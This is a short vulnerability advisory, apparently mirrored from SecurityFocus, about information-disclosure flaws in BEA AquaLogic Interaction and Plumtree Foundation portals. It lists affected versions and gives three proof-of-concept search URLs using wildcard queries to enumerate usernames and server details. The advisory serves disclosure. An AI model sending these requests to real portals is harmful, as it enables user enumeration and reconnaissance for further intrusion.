14 lines
No EOL
1.1 KiB
Text
14 lines
No EOL
1.1 KiB
Text
source: https://www.securityfocus.com/bid/26620/info
|
|
|
|
BEA AquaLogic Interaction is prone to multiple information-disclosure vulnerabilities.
|
|
|
|
Attackers can exploit these issues to access valid usernames in the Plumtree portal as well as the server hostname, build date, and server version. Information harvested can aid in further attacks.
|
|
|
|
The following versions are vulnerable:
|
|
|
|
BEA Plumtree Foundation in the 5.0 series, version 6.0 through service pack 1 on all platforms
|
|
BEA AquaLogic Interaction 6.1 through service pack 1 on all platforms
|
|
|
|
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*&in_hi_req_ apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
|
|
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*admin*&in_hi_ req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
|
|
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*test*&in_hi_req_apps= 1&control=advancedstart&in_ hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and |